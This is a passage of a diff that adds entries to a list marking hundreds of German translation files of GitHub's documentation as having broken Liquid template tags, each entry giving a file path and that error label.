+translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md,broken liquid tags
+translations/de-DE/content/codespaces/troubleshooting/github-codespaces-logs.md,broken liquid tags
+translations/de-DE/content/codespaces/troubleshooting/index.md,broken liquid tags
+translations/de-DE/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/troubleshooting/troubleshooting-prebuilds.md,broken liquid tags
+translations/de-DE/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md,broken liquid tags
+translations/de-DE/content/communities/documenting-your-project-with-wikis/about-wikis.md,broken liquid tags
+translations/de-DE/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md,broken liquid tags
+translations/de-DE/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md,broken liquid tags
+translations/de-DE/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization.md,broken liquid tags
+translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md,broken liquid tags
+translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md,broken liquid tags
+translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md,broken liquid tags
+translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md,broken liquid tags
+translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md,broken liquid tags
+translations/de-DE/content/copilot/quickstart.md,broken liquid tags
+translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md,broken liquid tags
+translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md,broken liquid tags
+translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md,broken liquid tags
+translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md,broken liquid tags
+translations/de-DE/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md,broken liquid tags
+translations/de-DE/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md,broken liquid tags
+translations/de-DE/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md,broken liquid tags
+translations/de-DE/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md,broken liquid tags
+translations/de-DE/content/developers/apps/guides/using-the-github-api-in-your-app.md,broken liquid tags
+translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md,broken liquid tags
+translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md,broken liquid tags
+translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md,broken liquid tags
+translations/de-DE/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md,broken liquid tags
+translations/de-DE/content/developers/overview/about-githubs-apis.md,broken liquid tags
+translations/de-DE/content/developers/overview/managing-deploy-keys.md,broken liquid tags
+translations/de-DE/content/developers/overview/secret-scanning-partner-program.md,broken liquid tags
+translations/de-DE/content/developers/webhooks-and-events/events/issue-event-types.md,broken liquid tags
+translations/de-DE/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md,broken liquid tags
+translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md,broken liquid tags
+translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md,broken liquid tags
+translations/de-DE/content/discussions/guides/finding-your-discussions.md,broken liquid tags
+translations/de-DE/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md,broken liquid tags
+translations/de-DE/content/discussions/managing-discussions-for-your-community/managing-discussions.md,broken liquid tags
+translations/de-DE/content/discussions/managing-discussions-for-your-community/moderating-discussions.md,broken liquid tags
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md,broken liquid tags
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md,broken liquid tags
+translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md,broken liquid tags
+translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md,broken liquid tags
+translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md,broken liquid tags
+translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md,broken liquid tags
+translations/de-DE/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md,broken liquid tags
+translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md,broken liquid tags
+translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md,broken liquid tags
+translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md,broken liquid tags
+translations/de-DE/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md,broken liquid tags
+translations/de-DE/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md,broken liquid tags
+translations/de-DE/content/get-started/getting-started-with-git/associating-text-editors-with-git.md,broken liquid tags
+translations/de-DE/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md,broken liquid tags
+translations/de-DE/content/get-started/getting-started-with-git/managing-remote-repositories.md,broken liquid tags
+translations/de-DE/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md,broken liquid tags
+translations/de-DE/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md,broken liquid tags
+translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md,broken liquid tags
+translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md,broken liquid tags
+translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md,broken liquid tags
+translations/de-DE/content/get-started/learning-about-github/access-permissions-on-github.md,broken liquid tags
+translations/de-DE/content/get-started/learning-about-github/githubs-products.md,broken liquid tags
+translations/de-DE/content/get-started/learning-about-github/types-of-github-accounts.md,broken liquid tags
+translations/de-DE/content/get-started/onboarding/getting-started-with-github-ae.md,broken liquid tags
+translations/de-DE/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md,broken liquid tags
+translations/de-DE/content/get-started/onboarding/getting-started-with-github-enterprise-server.md,broken liquid tags
+translations/de-DE/content/get-started/onboarding/getting-started-with-github-team.md,broken liquid tags
+translations/de-DE/content/get-started/onboarding/getting-started-with-your-github-account.md,broken liquid tags
+translations/de-DE/content/get-started/quickstart/create-a-repo.md,broken liquid tags
+translations/de-DE/content/get-started/quickstart/git-and-github-learning-resources.md,broken liquid tags
+translations/de-DE/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md,broken liquid tags
+translations/de-DE/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md,broken liquid tags
+translations/de-DE/content/get-started/signing-up-for-github/verifying-your-email-address.md,broken liquid tags
+translations/de-DE/content/get-started/using-git/about-git-rebase.md,broken liquid tags
+translations/de-DE/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md,broken liquid tags
+translations/de-DE/content/get-started/using-github/github-command-palette.md,broken liquid tags
+translations/de-DE/content/get-started/using-github/github-mobile.md,broken liquid tags
+translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md,broken liquid tags
+translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md,broken liquid tags
+translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md,broken liquid tags
+translations/de-DE/content/github-cli/github-cli/quickstart.md,broken liquid tags
+translations/de-DE/content/graphql/guides/forming-calls-with-graphql.md,broken liquid tags
+translations/de-DE/content/graphql/guides/introduction-to-graphql.md,broken liquid tags
+translations/de-DE/content/graphql/guides/migrating-from-rest-to-graphql.md,broken liquid tags
+translations/de-DE/content/graphql/overview/about-the-graphql-api.md,broken liquid tags
+translations/de-DE/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md,broken liquid tags
+translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md,broken liquid tags
+translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md,broken liquid tags
+translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md,broken liquid tags
+translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md,broken liquid tags
+translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md,broken liquid tags
+translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md,broken liquid tags
+translations/de-DE/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md,broken liquid tags
+translations/de-DE/content/organizations/managing-organization-settings/deleting-an-organization-account.md,broken liquid tags
+translations/de-DE/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md,broken liquid tags
+translations/de-DE/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md,broken liquid tags
+translations/de-DE/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md,broken liquid tags
+translations/de-DE/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md,broken liquid tags
+translations/de-DE/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,broken liquid tags
+translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md,broken liquid tags
+translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization.md,broken liquid tags
+translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization.md,broken liquid tags
+translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md,broken liquid tags
+translations/de-DE/content/organizations/organizing-members-into-teams/about-teams.md,broken liquid tags
+translations/de-DE/content/packages/learn-github-packages/about-permissions-for-github-packages.md,broken liquid tags
+translations/de-DE/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md,broken liquid tags
+translations/de-DE/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md,broken liquid tags
+translations/de-DE/content/packages/learn-github-packages/deleting-and-restoring-a-package.md,broken liquid tags
+translations/de-DE/content/packages/learn-github-packages/installing-a-package.md,broken liquid tags
+translations/de-DE/content/packages/learn-github-packages/introduction-to-github-packages.md,broken liquid tags
+translations/de-DE/content/packages/learn-github-packages/publishing-a-package.md,broken liquid tags
+translations/de-DE/content/packages/learn-github-packages/viewing-packages.md,broken liquid tags
+translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md,broken liquid tags
+translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,broken liquid tags
+translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md,broken liquid tags
+translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,broken liquid tags
+translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,broken liquid tags
+translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,broken liquid tags
+translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,broken liquid tags
+translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md,broken liquid tags
+translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md,broken liquid tags
+translations/de-DE/content/pages/getting-started-with-github-pages/about-github-pages.md,broken liquid tags
+translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md,broken liquid tags
+translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md,broken liquid tags
+translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md,broken liquid tags
+translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md,broken liquid tags
+translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md,broken liquid tags
+translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md,broken liquid tags
+translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md,broken liquid tags
+translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md,broken liquid tags
+translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md,broken liquid tags
+translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md,broken liquid tags
+translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md,broken liquid tags
+translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,broken liquid tags
+translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md,broken liquid tags
+translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,broken liquid tags
+translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md,broken liquid tags
+translations/de-DE/content/repositories/archiving-a-github-repository/archiving-repositories.md,broken liquid tags
+translations/de-DE/content/repositories/archiving-a-github-repository/backing-up-a-repository.md,broken liquid tags
+translations/de-DE/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md,broken liquid tags
+translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md,broken liquid tags
+translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md,broken liquid tags
+translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md,broken liquid tags
+translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md,broken liquid tags
+translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md,broken liquid tags
+translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md,broken liquid tags
+translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md,broken liquid tags
+translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,broken liquid tags
+translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,broken liquid tags
+translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md,broken liquid tags
+translations/de-DE/content/repositories/creating-and-managing-repositories/cloning-a-repository.md,broken liquid tags
+translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md,broken liquid tags
+translations/de-DE/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md,broken liquid tags
+translations/de-DE/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md,broken liquid tags
+translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md,broken liquid tags
+translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md,broken liquid tags
+translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md,broken liquid tags
+translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,broken liquid tags
+translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md,broken liquid tags
+translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md,broken liquid tags
+translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,broken liquid tags
+translations/de-DE/content/repositories/releasing-projects-on-github/about-releases.md,broken liquid tags
+translations/de-DE/content/repositories/releasing-projects-on-github/comparing-releases.md,broken liquid tags
+translations/de-DE/content/repositories/releasing-projects-on-github/linking-to-releases.md,broken liquid tags
+translations/de-DE/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md,broken liquid tags
+translations/de-DE/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md,broken liquid tags
+translations/de-DE/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md,broken liquid tags
+translations/de-DE/content/repositories/working-with-files/using-files/navigating-code-on-github.md,broken liquid tags
+translations/de-DE/content/rest/activity/notifications.md,broken liquid tags
+translations/de-DE/content/rest/apps/oauth-applications.md,broken liquid tags
+translations/de-DE/content/rest/codespaces/codespaces.md,broken liquid tags
+translations/de-DE/content/rest/dependabot/index.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/admin-stats.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/announcement.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/billing.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/global-webhooks.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/index.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/ldap.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/license.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/management-console.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/org-pre-receive-hooks.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/orgs.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/pre-receive-environments.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/pre-receive-hooks.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/repo-pre-receive-hooks.md,broken liquid tags
+translations/de-DE/content/rest/enterprise-admin/users.md,broken liquid tags
+translations/de-DE/content/rest/gitignore.md,broken liquid tags
+translations/de-DE/content/rest/guides/getting-started-with-the-rest-api.md,broken liquid tags
+translations/de-DE/content/rest/guides/working-with-comments.md,broken liquid tags
+translations/de-DE/content/rest/migrations/source-imports.md,broken liquid tags
+translations/de-DE/content/rest/overview/other-authentication-methods.md,broken liquid tags
+translations/de-DE/content/rest/overview/resources-in-the-rest-api.md,broken liquid tags
+translations/de-DE/content/rest/overview/troubleshooting.md,broken liquid tags
+translations/de-DE/content/rest/packages.md,broken liquid tags
+translations/de-DE/content/rest/projects/projects.md,broken liquid tags
+translations/de-DE/content/rest/quickstart.md,broken liquid tags
+translations/de-DE/content/rest/scim.md,broken liquid tags
+translations/de-DE/content/rest/teams/team-sync.md,broken liquid tags
+translations/de-DE/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md,broken liquid tags
+translations/de-DE/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md,broken liquid tags
+translations/de-DE/content/search-github/searching-on-github/searching-code.md,broken liquid tags
+translations/de-DE/content/search-github/searching-on-github/searching-for-repositories.md,broken liquid tags
+translations/de-DE/content/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data.md,broken liquid tags
+translations/de-DE/content/site-policy/privacy-policies/global-privacy-practices.md,broken liquid tags
+translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md,broken liquid tags
+translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md,broken liquid tags
+translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md,broken liquid tags
+translations/de-DE/content/support/contacting-github-support/providing-data-to-github-support.md,broken liquid tags
+translations/de-DE/content/support/learning-about-github-support/about-github-premium-support.md,broken liquid tags
+translations/de-DE/data/glossaries/external.yml,broken liquid tags
+translations/de-DE/data/learning-tracks/actions.yml,broken liquid tags
+translations/de-DE/data/learning-tracks/admin.yml,broken liquid tags
+translations/de-DE/data/learning-tracks/code-security.yml,broken liquid tags
+translations/de-DE/data/release-notes/enterprise-server/3-3/0-rc1.yml,broken liquid tags
+translations/de-DE/data/release-notes/enterprise-server/3-3/0.yml,broken liquid tags
+translations/de-DE/data/release-notes/enterprise-server/3-4/0-rc1.yml,broken liquid tags
+translations/de-DE/data/release-notes/enterprise-server/3-4/0.yml,broken liquid tags
+translations/de-DE/data/release-notes/enterprise-server/3-4/1.yml,broken liquid tags
+translations/de-DE/data/release-notes/enterprise-server/3-4/2.yml,broken liquid tags
+translations/de-DE/data/release-notes/enterprise-server/3-5/0-rc1.yml,broken liquid tags
+translations/de-DE/data/release-notes/enterprise-server/3-6/0-rc1.yml,broken liquid tags
+translations/de-DE/data/reusables/actions/about-actions-for-enterprises.md,broken liquid tags
+translations/de-DE/data/reusables/actions/cache-default-size.md,broken liquid tags
+translations/de-DE/data/reusables/actions/create-runner-group.md,broken liquid tags
+translations/de-DE/data/reusables/actions/disabling-github-actions.md,broken liquid tags
+translations/de-DE/data/reusables/actions/enterprise-common-prereqs.md,broken liquid tags
+translations/de-DE/data/reusables/actions/enterprise-marketplace-actions.md,broken liquid tags
+translations/de-DE/data/reusables/actions/enterprise-postinstall-nextsteps.md,broken liquid tags
+translations/de-DE/data/reusables/actions/github-connect-resolution.md,broken liquid tags
+translations/de-DE/data/reusables/actions/ip-allow-list-self-hosted-runners.md,broken liquid tags
+translations/de-DE/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md,broken liquid tags
+translations/de-DE/data/reusables/actions/private-repository-forks-configure.md,broken liquid tags
+translations/de-DE/data/reusables/actions/private-repository-forks-options.md,broken liquid tags
+translations/de-DE/data/reusables/actions/ref_name-description.md,broken liquid tags
+translations/de-DE/data/reusables/actions/reusable-workflow-artifacts.md,broken liquid tags
+translations/de-DE/data/reusables/actions/reusable-workflow-calling-syntax.md,broken liquid tags
+translations/de-DE/data/reusables/actions/reusable-workflows.md,broken liquid tags
+translations/de-DE/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md,broken liquid tags
+translations/de-DE/data/reusables/actions/self-hosted-runner-add-to-enterprise.md,broken liquid tags
+translations/de-DE/data/reusables/actions/self-hosted-runner-architecture.md,broken liquid tags
+translations/de-DE/data/reusables/actions/self-hosted-runner-management-permissions-required.md,broken liquid tags
+translations/de-DE/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md,broken liquid tags
+translations/de-DE/data/reusables/actions/self-hosted-runner-ports-protocols.md,broken liquid tags
+translations/de-DE/data/reusables/actions/settings-ui/settings-actions-general.md,broken liquid tags
+translations/de-DE/data/reusables/actions/settings-ui/settings-actions-runner-groups.md,broken liquid tags
+translations/de-DE/data/reusables/actions/settings-ui/settings-actions-runners.md,broken liquid tags
+translations/de-DE/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md,broken liquid tags
+translations/de-DE/data/reusables/actions/workflow-basic-example-and-explanation.md,broken liquid tags
+translations/de-DE/data/reusables/actions/workflow-dispatch-inputs.md,broken liquid tags
+translations/de-DE/data/reusables/actions/workflow-template-overview.md,broken liquid tags
+translations/de-DE/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md,broken liquid tags
+translations/de-DE/data/reusables/advanced-security/about-ghas-organization-policy.md,broken liquid tags
+translations/de-DE/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md,broken liquid tags
+translations/de-DE/data/reusables/advanced-security/secret-scanning-push-protection-org.md,broken liquid tags
+translations/de-DE/data/reusables/apps/user-to-server-rate-limits.md,broken liquid tags
+translations/de-DE/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md,broken liquid tags
+translations/de-DE/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md,broken liquid tags
+translations/de-DE/data/reusables/branches/new-repo-default-branch.md,broken liquid tags
+translations/de-DE/data/reusables/classroom/about-autograding.md,broken liquid tags
+translations/de-DE/data/reusables/code-scanning/autobuild-add-build-steps.md,broken liquid tags
+translations/de-DE/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md,broken liquid tags
+translations/de-DE/data/reusables/code-scanning/codeql-languages-bullets.md,broken liquid tags
+translations/de-DE/data/reusables/code-scanning/codeql-languages-keywords.md,broken liquid tags
+translations/de-DE/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md,broken liquid tags
+translations/de-DE/data/reusables/code-scanning/enterprise-enable-code-scanning.md,broken liquid tags
+translations/de-DE/data/reusables/code-scanning/what-is-codeql-cli.md,broken liquid tags
+translations/de-DE/data/reusables/codespaces/codespaces-disabling-org-billing.md,broken liquid tags
+translations/de-DE/data/reusables/codespaces/codespaces-spending-limit-requirement.md,broken liquid tags
+translations/de-DE/data/reusables/codespaces/creating-a-codespace-in-vscode.md,broken liquid tags
+translations/de-DE/data/reusables/codespaces/customize-vcpus-and-ram.md,broken liquid tags
+translations/de-DE/data/reusables/codespaces/next-steps-adding-devcontainer.md,broken liquid tags
+translations/de-DE/data/reusables/codespaces/prebuilds-crossreference.md,broken liquid tags
+translations/de-DE/data/reusables/codespaces/secrets-on-start.md,broken liquid tags
+translations/de-DE/data/reusables/codespaces/use-chrome.md,broken liquid tags
+translations/de-DE/data/reusables/command_line/provide-an-access-token.md,broken liquid tags
+translations/de-DE/data/reusables/copilot/install-copilot-in-neovim.md,broken liquid tags
+translations/de-DE/data/reusables/dependabot/default-dependencies-allow-ignore.md,broken liquid tags
+translations/de-DE/data/reusables/dependabot/dependabot-alerts-filters.md,broken liquid tags
+translations/de-DE/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md,broken liquid tags
+translations/de-DE/data/reusables/dependabot/supported-package-managers.md,broken liquid tags
+translations/de-DE/data/reusables/desktop/get-an-account.md,broken liquid tags
+translations/de-DE/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md,broken liquid tags
+translations/de-DE/data/reusables/discussions/navigate-to-repo-or-org.md,broken liquid tags
+translations/de-DE/data/reusables/discussions/starting-a-discussion.md,broken liquid tags
+translations/de-DE/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md,broken liquid tags
+translations/de-DE/data/reusables/dotcom_billing/view-all-subscriptions.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/dormant-user-activity.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/emu-cap-validates.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/emu-forks.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/emu-permission-follow.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/emu-permission-fork.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/emu-permission-gist.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/emu-permission-interact.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/emu-permission-propose.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/emu-permission-repo.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/emu-short-summary.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/oidc-gei-warning.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise-accounts/security-tab.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise/apply-configuration.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise/rate_limit.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise/test-in-staging.md,broken liquid tags
